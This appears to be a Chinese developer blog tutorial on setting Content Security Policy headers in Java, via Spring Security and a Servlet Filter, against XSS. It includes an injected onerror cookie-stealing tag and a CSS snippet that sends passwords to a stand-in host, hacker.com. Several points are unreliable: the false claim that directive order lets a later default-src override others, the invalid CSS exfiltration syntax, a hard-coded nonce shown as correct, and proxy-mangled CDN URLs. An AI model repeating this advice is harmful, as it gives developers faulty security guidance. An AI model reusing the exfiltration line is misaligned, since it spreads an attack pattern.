从XSS到点击劫持:用CSP为你的Web应用穿上金钟罩,这五个误区你踩了几个?
目录
- CSP是什么
- 网络安全防护罩
- 指令体系解析
- 新手三大误区
- 误区一:只要设default-src就够
- 误区二:过度信任’unsafe-inline’
- 误区三:忽略nonce/hash机制
- 两种配置方法
- Spring Security方案
- Servlet Filter方案
- 五个常见错误
- 指令顺序问题
- 报告URI缺失
- CSP与CORS冲突
- 最佳实践
- 渐进式收紧策略
- 自动化检测方案
嗨,你好呀,我是你的老朋友精通代码大仙。接下来我们一起学习Java开发中的300个实用技巧,震撼你的学习轨迹!
“代码千万行,安全第一行。配置不规范,漏洞两行泪。” 当你的网站被XSS攻击搞得千疮百孔时,是不是也像看到自己写的BUG一样绝望?今天我们就来聊聊这个让无数开发者又爱又恨的安全防线——CSP配置。
一、CSP是什么
网络安全防护罩
CSP(Content Security Policy)就像给你的网站穿上防弹衣,通过白名单机制控制哪些资源可以加载。想象一下:你的页面突然被注入恶意脚本,CSP会立即像保安一样拦住这个不速之客。
指令体系解析
基础配置示例:
// 错误示范
response.setHeader("Content-Security-Policy", "default-src 'self'");
// 正确配置
response.setHeader("Content-Security-Policy",
"default-src 'none';" +
"script-src 'self' https://cdn.example.com 'nonce-123456';" +
"style-src 'self' 'unsafe-inline';" +
"img-src * data:;" +
"report-uri /csp-report");
指令之间要用分号分隔,每个资源类型都要明确指定,default-src只是兜底选项。
二、新手三大误区
误区一:只要设default-src就够
痛点场景:
某电商网站配置了default-src 'self'
,但攻击者通过图片URL注入恶意脚本:
<img src="1.jpg" onerror="stealCookie()">
解决方案:
必须显式设置每个资源类型,特别是script-src和object-src要严格限制。
误区二:过度信任’unsafe-inline’
惨痛案例:
某论坛允许内联样式:
style-src 'self' 'unsafe-inline';
导致CSS表达式泄露用户数据:
input[type="password"] {
background: url("http://hacker.com?pass="+value);
}
正确做法:
使用nonce或hash代替内联允许:
String nonce = UUID.randomUUID().toString();
response.setHeader("Content-Security-Policy",
"script-src 'nonce-" + nonce + "'");
三、两种配置方法
Spring Security方案
在WebSecurityConfigurerAdapter中配置:
@Override
protected void configure(HttpSecurity http) throws Exception {
http.headers()
.contentSecurityPolicy(
"default-src 'self';" +
"script-src 'self' https://trusted.cdn.com;" +
"report-uri /csp-report");
}
Servlet Filter方案
自定义Filter处理所有响应:
public class CspFilter implements Filter {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
HttpServletResponse response = (HttpServletResponse) res;
response.setHeader("Content-Security-Policy", policy);
chain.doFilter(req, res);
}
}
四、五个常见错误
指令顺序问题
错误配置:
// 后面的default-src会覆盖前面设置
"script-src 'self'; default-src 'none'"
正确顺序应该default-src在前,具体指令在后。
报告URI缺失
没有监控的CSP就像没有报警器的保险箱:
// 缺少攻击日志收集
report-uri /csp-report-endpoint
五、最佳实践
渐进式收紧策略
- 先用
Content-Security-Policy-Report-Only
模式 - 分析报告中的违规行为
- 逐步替换宽松策略
自动化检测方案
在pom.xml集成CSP验证插件:
<plugin>
<groupId>com.yourcompany.csp</groupId>
<artifactId>csp-validator-maven-plugin</artifactId>
<executions>
<execution>
<goals>
<goal>validate</goal>
</goals>
</execution>
</executions>
</plugin>
写在最后
CSP配置就像给代码系安全带,可能刚开始会觉得束缚,但关键时刻能救命。记住:安全不是选修课,每个http响应头都是防线。下次当你随手加上unsafe-inline
时,不妨想想——今天偷的懒,可能就是明天的0day漏洞。保持敬畏,谨慎配置,你的代码终将无懈可击!